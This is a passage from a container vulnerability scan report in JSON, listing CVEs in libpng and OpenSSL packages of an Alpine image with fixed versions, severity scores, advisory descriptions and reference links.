"https://linux.oracle.com/errata/ELSA-2026-4728.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-22801", "https://ubuntu.com/security/notices/USN-7963-1", "https://ubuntu.com/security/notices/USN-8035-1", "https://www.cve.org/CVERecord?id=CVE-2026-22801", "https://www.openwall.com/lists/oss-security/2026/01/12/7" ], "PublishedDate": "2026-01-12T23:15:52.907Z", "LastModifiedDate": "2026-06-17T10:20:27.327Z" }, { "VulnerabilityID": "CVE-2026-25646", "PkgID": "libpng@1.6.53-r0", "PkgName": "libpng", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libpng@1.6.53-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a32568af50b10dba" }, "InstalledVersion": "1.6.53-r0", "FixedVersion": "1.6.55-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-25646", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:5527dca2b0ce3e2c9815fad2b612cfb3fd56f9d9812ca00db149581e09813fd2", "Title": "libpng: LIBPNG has a heap buffer overflow in png_set_quantize", "Description": "LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. Prior to 1.6.55, an out-of-bounds read vulnerability exists in the png_set_quantize() API function. When the function is called with no histogram and the number of colors in the palette is more than twice the maximum supported by the user's display, certain palettes will cause the function to enter into an infinite loop that reads past the end of an internal heap-allocated buffer. The images that trigger this vulnerability are valid per the PNG specification. This vulnerability is fixed in 1.6.55.", "Severity": "HIGH", "CweIDs": [ "CWE-122", "CWE-126", "CWE-125" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "cbl-mariner": 3, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N", "V3Score": 8.1, "V40Score": 8.3 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H", "V3Score": 7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/02/09/7", "https://access.redhat.com/errata/RHSA-2026:10097", "https://access.redhat.com/errata/RHSA-2026:12274", "https://access.redhat.com/errata/RHSA-2026:14773", "https://access.redhat.com/errata/RHSA-2026:15087", "https://access.redhat.com/errata/RHSA-2026:16174", "https://access.redhat.com/errata/RHSA-2026:17596", "https://access.redhat.com/errata/RHSA-2026:3031", "https://access.redhat.com/errata/RHSA-2026:3405", "https://access.redhat.com/errata/RHSA-2026:3551", "https://access.redhat.com/errata/RHSA-2026:3573", "https://access.redhat.com/errata/RHSA-2026:3574", "https://access.redhat.com/errata/RHSA-2026:3575", "https://access.redhat.com/errata/RHSA-2026:3576", "https://access.redhat.com/errata/RHSA-2026:3577", "https://access.redhat.com/errata/RHSA-2026:3968", "https://access.redhat.com/errata/RHSA-2026:3969", "https://access.redhat.com/errata/RHSA-2026:4221", "https://access.redhat.com/errata/RHSA-2026:4222", "https://access.redhat.com/errata/RHSA-2026:4306", "https://access.redhat.com/errata/RHSA-2026:4501", "https://access.redhat.com/errata/RHSA-2026:4728", "https://access.redhat.com/errata/RHSA-2026:4729", "https://access.redhat.com/errata/RHSA-2026:4730", "https://access.redhat.com/errata/RHSA-2026:4731", "https://access.redhat.com/errata/RHSA-2026:4732", "https://access.redhat.com/errata/RHSA-2026:4756", "https://access.redhat.com/errata/RHSA-2026:5606", "https://access.redhat.com/errata/RHSA-2026:6439", "https://access.redhat.com/errata/RHSA-2026:6445", "https://access.redhat.com/errata/RHSA-2026:6466", "https://access.redhat.com/errata/RHSA-2026:6467", "https://access.redhat.com/errata/RHSA-2026:6468", "https://access.redhat.com/errata/RHSA-2026:6469", "https://access.redhat.com/errata/RHSA-2026:6553", "https://access.redhat.com/errata/RHSA-2026:6732", "https://access.redhat.com/errata/RHSA-2026:7032", "https://access.redhat.com/errata/RHSA-2026:7033", "https://access.redhat.com/errata/RHSA-2026:7034", "https://access.redhat.com/errata/RHSA-2026:7035", "https://access.redhat.com/errata/RHSA-2026:7036", "https://access.redhat.com/errata/RHSA-2026:7239", "https://access.redhat.com/errata/RHSA-2026:7243", "https://access.redhat.com/errata/RHSA-2026:8746", "https://access.redhat.com/errata/RHSA-2026:8747", "https://access.redhat.com/errata/RHSA-2026:8748", "https://access.redhat.com/errata/RHSA-2026:9254", "https://access.redhat.com/errata/RHSA-2026:9255", "https://access.redhat.com/errata/RHSA-2026:9686", "https://access.redhat.com/errata/RHSA-2026:9687", "https://access.redhat.com/security/cve/CVE-2026-25646", "https://bugzilla.redhat.com/2428824", "https://bugzilla.redhat.com/2428825", "https://bugzilla.redhat.com/2438542", "https://bugzilla.redhat.com/show_bug.cgi?id=2428824", "https://bugzilla.redhat.com/show_bug.cgi?id=2428825", "https://bugzilla.redhat.com/show_bug.cgi?id=2438542", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22695", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25646", "https://errata.almalinux.org/9/ALSA-2026-3405.html", "https://errata.rockylinux.org/RLSA-2026:3405", "https://github.com/pnggroup/libpng/commit/01d03b8453eb30ade759cd45c707e5a1c7277d88", "https://github.com/pnggroup/libpng/security/advisories/GHSA-g8hp-mq4h-rqm3", "https://linux.oracle.com/cve/CVE-2026-25646.html", "https://linux.oracle.com/errata/ELSA-2026-7032.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-25646", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25646.json", "https://ubuntu.com/security/notices/USN-8035-1", "https://ubuntu.com/security/notices/USN-8039-1", "https://ubuntu.com/security/notices/USN-8081-1", "https://www.cve.org/CVERecord?id=CVE-2026-25646" ], "PublishedDate": "2026-02-10T18:16:37.817Z", "LastModifiedDate": "2026-08-11T13:17:59.553Z" }, { "VulnerabilityID": "CVE-2026-22695", "PkgID": "libpng-dev@1.6.53-r0", "PkgName": "libpng-dev", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libpng-dev@1.6.53-r0?arch=x86_64\u0026distro=3.21.5", "UID": "ee6f60e45eb1a022" }, "InstalledVersion": "1.6.53-r0", "FixedVersion": "1.6.54-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-22695", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:972e9e6ec9f93ef94b15cf42161bb1f035c8e0197e6d5a900e90b067db6f04e2", "Title": "libpng: libpng: Denial of service and information disclosure via heap buffer over-read in png_image_finish_read", "Description": "LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. From 1.6.51 to 1.6.53, there is a heap buffer over-read in the libpng simplified API function png_image_finish_read when processing interlaced 16-bit PNGs with 8-bit output format and non-minimal row stride. This is a regression introduced by the fix for CVE-2025-65018. This vulnerability is fixed in 1.6.54.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "cbl-mariner": 2, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H", "V3Score": 6.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:3405", "https://access.redhat.com/errata/RHSA-2026:9689", "https://access.redhat.com/security/cve/CVE-2026-22695", "https://bugzilla.redhat.com/show_bug.cgi?id=2428824", "https://bugzilla.redhat.com/show_bug.cgi?id=2428825", "https://bugzilla.redhat.com/show_bug.cgi?id=2438542", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22695", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25646", "https://errata.almalinux.org/9/ALSA-2026-9689.html", "https://errata.rockylinux.org/RLSA-2026:3405", "https://github.com/pnggroup/libpng/commit/218612ddd6b17944e21eda56caf8b4bf7779d1ea", "https://github.com/pnggroup/libpng/commit/e4f7ad4ea2", "https://github.com/pnggroup/libpng/issues/778", "https://github.com/pnggroup/libpng/security/advisories/GHSA-mmq5-27w3-rxpp", "https://linux.oracle.com/cve/CVE-2026-22695.html", "https://linux.oracle.com/errata/ELSA-2026-4728.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-22695", "https://ubuntu.com/security/notices/USN-7963-1", "https://ubuntu.com/security/notices/USN-8035-1", "https://www.cve.org/CVERecord?id=CVE-2026-22695", "https://www.openwall.com/lists/oss-security/2026/01/12/7" ], "PublishedDate": "2026-01-12T23:15:52.597Z", "LastModifiedDate": "2026-06-17T10:20:15.007Z" }, { "VulnerabilityID": "CVE-2026-22801", "PkgID": "libpng-dev@1.6.53-r0", "PkgName": "libpng-dev", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libpng-dev@1.6.53-r0?arch=x86_64\u0026distro=3.21.5", "UID": "ee6f60e45eb1a022" }, "InstalledVersion": "1.6.53-r0", "FixedVersion": "1.6.54-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-22801", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:e7a8f75cbe416d586f8468ce22a07ccc23a1c3d553e24042ff5c795293edead0", "Title": "libpng: libpng: Information disclosure and denial of service via integer truncation in simplified write API", "Description": "LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. From 1.6.26 to 1.6.53, there is an integer truncation in the libpng simplified write API functions png_write_image_16bit and png_write_image_8bit causes heap buffer over-read when the caller provides a negative row stride (for bottom-up image layouts) or a stride exceeding 65535 bytes. The bug was introduced in libpng 1.6.26 (October 2016) by casts added to silence compiler warnings on 16-bit systems. This vulnerability is fixed in 1.6.54.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "cbl-mariner": 2, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H", "V3Score": 6.6 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:3405", "https://access.redhat.com/errata/RHSA-2026:9689", "https://access.redhat.com/security/cve/CVE-2026-22801", "https://bugzilla.redhat.com/show_bug.cgi?id=2428824", "https://bugzilla.redhat.com/show_bug.cgi?id=2428825", "https://bugzilla.redhat.com/show_bug.cgi?id=2438542", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22695", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25646", "https://errata.almalinux.org/9/ALSA-2026-9689.html", "https://errata.rockylinux.org/RLSA-2026:3405", "https://github.com/pnggroup/libpng/security/advisories/GHSA-vgjq-8cw5-ggw8", "https://linux.oracle.com/cve/CVE-2026-22801.html", "https://linux.oracle.com/errata/ELSA-2026-4728.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-22801", "https://ubuntu.com/security/notices/USN-7963-1", "https://ubuntu.com/security/notices/USN-8035-1", "https://www.cve.org/CVERecord?id=CVE-2026-22801", "https://www.openwall.com/lists/oss-security/2026/01/12/7" ], "PublishedDate": "2026-01-12T23:15:52.907Z", "LastModifiedDate": "2026-06-17T10:20:27.327Z" }, { "VulnerabilityID": "CVE-2026-25646", "PkgID": "libpng-dev@1.6.53-r0", "PkgName": "libpng-dev", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libpng-dev@1.6.53-r0?arch=x86_64\u0026distro=3.21.5", "UID": "ee6f60e45eb1a022" }, "InstalledVersion": "1.6.53-r0", "FixedVersion": "1.6.55-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-25646", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:f239c39cfae60f0d27a05e3f98d209e1fdfada9749b871128681a73bebb5e9ce", "Title": "libpng: LIBPNG has a heap buffer overflow in png_set_quantize", "Description": "LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. Prior to 1.6.55, an out-of-bounds read vulnerability exists in the png_set_quantize() API function. When the function is called with no histogram and the number of colors in the palette is more than twice the maximum supported by the user's display, certain palettes will cause the function to enter into an infinite loop that reads past the end of an internal heap-allocated buffer. The images that trigger this vulnerability are valid per the PNG specification. This vulnerability is fixed in 1.6.55.", "Severity": "HIGH", "CweIDs": [ "CWE-122", "CWE-126", "CWE-125" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "cbl-mariner": 3, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N", "V3Score": 8.1, "V40Score": 8.3 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H", "V3Score": 7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/02/09/7", "https://access.redhat.com/errata/RHSA-2026:10097", "https://access.redhat.com/errata/RHSA-2026:12274", "https://access.redhat.com/errata/RHSA-2026:14773", "https://access.redhat.com/errata/RHSA-2026:15087", "https://access.redhat.com/errata/RHSA-2026:16174", "https://access.redhat.com/errata/RHSA-2026:17596", "https://access.redhat.com/errata/RHSA-2026:3031", "https://access.redhat.com/errata/RHSA-2026:3405", "https://access.redhat.com/errata/RHSA-2026:3551", "https://access.redhat.com/errata/RHSA-2026:3573", "https://access.redhat.com/errata/RHSA-2026:3574", "https://access.redhat.com/errata/RHSA-2026:3575", "https://access.redhat.com/errata/RHSA-2026:3576", "https://access.redhat.com/errata/RHSA-2026:3577", "https://access.redhat.com/errata/RHSA-2026:3968", "https://access.redhat.com/errata/RHSA-2026:3969", "https://access.redhat.com/errata/RHSA-2026:4221", "https://access.redhat.com/errata/RHSA-2026:4222", "https://access.redhat.com/errata/RHSA-2026:4306", "https://access.redhat.com/errata/RHSA-2026:4501", "https://access.redhat.com/errata/RHSA-2026:4728", "https://access.redhat.com/errata/RHSA-2026:4729", "https://access.redhat.com/errata/RHSA-2026:4730", "https://access.redhat.com/errata/RHSA-2026:4731", "https://access.redhat.com/errata/RHSA-2026:4732", "https://access.redhat.com/errata/RHSA-2026:4756", "https://access.redhat.com/errata/RHSA-2026:5606", "https://access.redhat.com/errata/RHSA-2026:6439", "https://access.redhat.com/errata/RHSA-2026:6445", "https://access.redhat.com/errata/RHSA-2026:6466", "https://access.redhat.com/errata/RHSA-2026:6467", "https://access.redhat.com/errata/RHSA-2026:6468", "https://access.redhat.com/errata/RHSA-2026:6469", "https://access.redhat.com/errata/RHSA-2026:6553", "https://access.redhat.com/errata/RHSA-2026:6732", "https://access.redhat.com/errata/RHSA-2026:7032", "https://access.redhat.com/errata/RHSA-2026:7033", "https://access.redhat.com/errata/RHSA-2026:7034", "https://access.redhat.com/errata/RHSA-2026:7035", "https://access.redhat.com/errata/RHSA-2026:7036", "https://access.redhat.com/errata/RHSA-2026:7239", "https://access.redhat.com/errata/RHSA-2026:7243", "https://access.redhat.com/errata/RHSA-2026:8746", "https://access.redhat.com/errata/RHSA-2026:8747", "https://access.redhat.com/errata/RHSA-2026:8748", "https://access.redhat.com/errata/RHSA-2026:9254", "https://access.redhat.com/errata/RHSA-2026:9255", "https://access.redhat.com/errata/RHSA-2026:9686", "https://access.redhat.com/errata/RHSA-2026:9687", "https://access.redhat.com/security/cve/CVE-2026-25646", "https://bugzilla.redhat.com/2428824", "https://bugzilla.redhat.com/2428825", "https://bugzilla.redhat.com/2438542", "https://bugzilla.redhat.com/show_bug.cgi?id=2428824", "https://bugzilla.redhat.com/show_bug.cgi?id=2428825", "https://bugzilla.redhat.com/show_bug.cgi?id=2438542", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22695", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25646", "https://errata.almalinux.org/9/ALSA-2026-3405.html", "https://errata.rockylinux.org/RLSA-2026:3405", "https://github.com/pnggroup/libpng/commit/01d03b8453eb30ade759cd45c707e5a1c7277d88", "https://github.com/pnggroup/libpng/security/advisories/GHSA-g8hp-mq4h-rqm3", "https://linux.oracle.com/cve/CVE-2026-25646.html", "https://linux.oracle.com/errata/ELSA-2026-7032.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-25646", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25646.json", "https://ubuntu.com/security/notices/USN-8035-1", "https://ubuntu.com/security/notices/USN-8039-1", "https://ubuntu.com/security/notices/USN-8081-1", "https://www.cve.org/CVERecord?id=CVE-2026-25646" ], "PublishedDate": "2026-02-10T18:16:37.817Z", "LastModifiedDate": "2026-08-11T13:17:59.553Z" }, { "VulnerabilityID": "CVE-2026-31789", "PkgID": "libssl3@3.3.5-r0", "PkgName": "libssl3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libssl3@3.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "4587120bb4626f4e" }, "InstalledVersion": "3.3.5-r0", "FixedVersion": "3.3.7-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31789", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:c45a08627023fad2bf5dc5d2e5c9c37d78352efc4b5e173cb403a8f3723f2878", "Title": "openssl: OpenSSL: Heap buffer overflow on 32-bit systems from large X.509 certificate processing", "Description": "Issue summary: Converting an excessively large OCTET STRING value to\na hexadecimal string leads to a heap buffer overflow on 32 bit platforms.\n\nImpact summary: A heap buffer overflow may lead to a crash or possibly\nan attacker controlled code execution or other undefined behavior.\n\nIf an attacker can supply a crafted X.509 certificate with an excessively\nlarge OCTET STRING value in extensions such as the Subject Key Identifier\n(SKID) or Authority Key Identifier (AKID) which are being converted to hex,\nthe size of the buffer needed for the result is calculated as multiplication\nof the input length by 3. On 32 bit platforms, this multiplication may overflow\nresulting in the allocation of a smaller buffer and a heap buffer overflow.\n\nApplications and services that print or log contents of untrusted X.509\ncertificates are vulnerable to this issue. As the certificates would have\nto have sizes of over 1 Gigabyte, printing or logging such certificates\nis a fairly unlikely operation and only 32 bit platforms are affected,\nthis issue was assigned Low severity.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "CRITICAL", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "julia": 4, "nvd": 4, "photon": 4, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:H", "V3Score": 5.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31789", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://github.com/advisories/GHSA-j79m-9jxq-788r", "https://github.com/openssl/openssl/commit/364f095b80601db632b0def6a33316967f863bde", "https://github.com/openssl/openssl/commit/7a9087efd769f362ad9c0e30c7baaa6bbfa65ecf", "https://github.com/openssl/openssl/commit/945b935ac66cc7f1a41f1b849c7c25adb5351f49", "https://github.com/openssl/openssl/commit/a24216018e1ede8ff01a4ff5afff7dfbd443e2f9", "https://github.com/openssl/openssl/commit/a91e537d16d74050dbde50bb0dfb1fe9930f0521", "https://nvd.nist.gov/vuln/detail/CVE-2026-31789", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://www.cve.org/CVERecord?id=CVE-2026-31789", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:21.617Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2025-15467", "PkgID": "libssl3@3.3.5-r0", "PkgName": "libssl3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libssl3@3.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "4587120bb4626f4e" }, "InstalledVersion": "3.3.5-r0", "FixedVersion": "3.3.6-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-15467", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:28e7a616b576606c0d7a70a253d1123cda759f7903a22d1fa47047214a16ded3", "Title": "openssl: OpenSSL: Remote code execution or Denial of Service via oversized Initialization Vector in CMS parsing", "Description": "Issue summary: Parsing CMS AuthEnvelopedData or EnvelopedData message with\nmaliciously crafted AEAD parameters can trigger a stack buffer overflow.\n\nImpact summary: A stack buffer overflow may lead to a crash, causing Denial\nof Service, or potentially remote code execution.\n\nWhen parsing CMS (Auth)EnvelopedData structures that use AEAD ciphers such as\nAES-GCM, the IV (Initialization Vector) encoded in the ASN.1 parameters is\ncopied into a fixed-size stack buffer without verifying that its length fits\nthe destination. An attacker can supply a crafted CMS message with an\noversized IV, causing a stack-based out-of-bounds write before any\nauthentication or tag verification occurs.\n\nApplications and services that parse untrusted CMS or PKCS#7 content using\nAEAD ciphers (e.g., S/MIME (Auth)EnvelopedData with AES-GCM) are vulnerable.\nBecause the overflow occurs prior to authentication, no valid key material\nis required to trigger it. While exploitability to remote code execution\ndepends on platform and toolchain mitigations, the stack-based write\nprimitive represents a severe risk.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the CMS implementation is outside the OpenSSL FIPS module\nboundary.\n\nOpenSSL 3.6, 3.5, 3.4, 3.3 and 3.0 are vulnerable to this issue.\n\nOpenSSL 1.1.1 and 1.0.2 are not affected by this issue.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-120" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "julia": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/01/27/10", "http://www.openwall.com/lists/oss-security/2026/02/25/6", "https://access.redhat.com/errata/RHSA-2026:1472", "https://access.redhat.com/errata/RHSA-2026:1473", "https://access.redhat.com/errata/RHSA-2026:1496", "https://access.redhat.com/errata/RHSA-2026:1503", "https://access.redhat.com/errata/RHSA-2026:1519", "https://access.redhat.com/errata/RHSA-2026:1594", "https://access.redhat.com/errata/RHSA-2026:1733", "https://access.redhat.com/errata/RHSA-2026:1736", "https://access.redhat.com/errata/RHSA-2026:2072", "https://access.redhat.com/errata/RHSA-2026:2077", "https://access.redhat.com/errata/RHSA-2026:2485", "https://access.redhat.com/errata/RHSA-2026:2563", "https://access.redhat.com/errata/RHSA-2026:2633", "https://access.redhat.com/errata/RHSA-2026:2659", "https://access.redhat.com/errata/RHSA-2026:2671", "https://access.redhat.com/errata/RHSA-2026:2844", "https://access.redhat.com/errata/RHSA-2026:2974", "https://access.redhat.com/errata/RHSA-2026:2995", "https://access.redhat.com/errata/RHSA-2026:3228", "https://access.redhat.com/errata/RHSA-2026:3415", "https://access.redhat.com/errata/RHSA-2026:3461", "https://access.redhat.com/errata/RHSA-2026:3462", "https://access.redhat.com/errata/RHSA-2026:4419", "https://access.redhat.com/errata/RHSA-2026:4943", "https://access.redhat.com/errata/RHSA-2026:6481", "https://access.redhat.com/errata/RHSA-2026:7261", "https://access.redhat.com/security/cve/CVE-2025-15467", "https://bugzilla.redhat.com/2430375", "https://bugzilla.redhat.com/2430376", "https://bugzilla.redhat.com/2430377", "https://bugzilla.redhat.com/2430378", "https://bugzilla.redhat.com/2430379", "https://bugzilla.redhat.com/2430380", "https://bugzilla.redhat.com/2430381", "https://bugzilla.redhat.com/2430386", "https://bugzilla.redhat.com/2430387", "https://bugzilla.redhat.com/2430388", "https://bugzilla.redhat.com/2430389", "https://bugzilla.redhat.com/2430390", "https://bugzilla.redhat.com/show_bug.cgi?id=2430375", "https://bugzilla.redhat.com/show_bug.cgi?id=2430376", "https://bugzilla.redhat.com/show_bug.cgi?id=2430377", "https://bugzilla.redhat.com/show_bug.cgi?id=2430378", "https://bugzilla.redhat.com/show_bug.cgi?id=2430379", "https://bugzilla.redhat.com/show_bug.cgi?id=2430380", "https://bugzilla.redhat.com/show_bug.cgi?id=2430381", "https://bugzilla.redhat.com/show_bug.cgi?id=2430386", "https://bugzilla.redhat.com/show_bug.cgi?id=2430387", "https://bugzilla.redhat.com/show_bug.cgi?id=2430388", "https://bugzilla.redhat.com/show_bug.cgi?id=2430389", "https://bugzilla.redhat.com/show_bug.cgi?id=2430390", "https://cert-portal.siemens.com/productcert/html/ssa-434797.html", "https://cert-portal.siemens.com/productcert/html/ssa-734552.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11187", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-15467", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-15468", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-15469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66199", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69418", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69419", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69420", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69421", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22795", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22796", "https://errata.almalinux.org/9/ALSA-2026-1473.html", "https://errata.rockylinux.org/RLSA-2026:1473", "https://github.com/advisories/GHSA-wvhq-3h88-rf6g", "https://github.com/guiimoraes/CVE-2025-15467", "https://github.com/openssl/openssl/commit/2c8f0e5fa9b6ee5508a0349e4572ddb74db5a703", "https://github.com/openssl/openssl/commit/5f26d4202f5b89664c5c3f3c62086276026ba9a9", 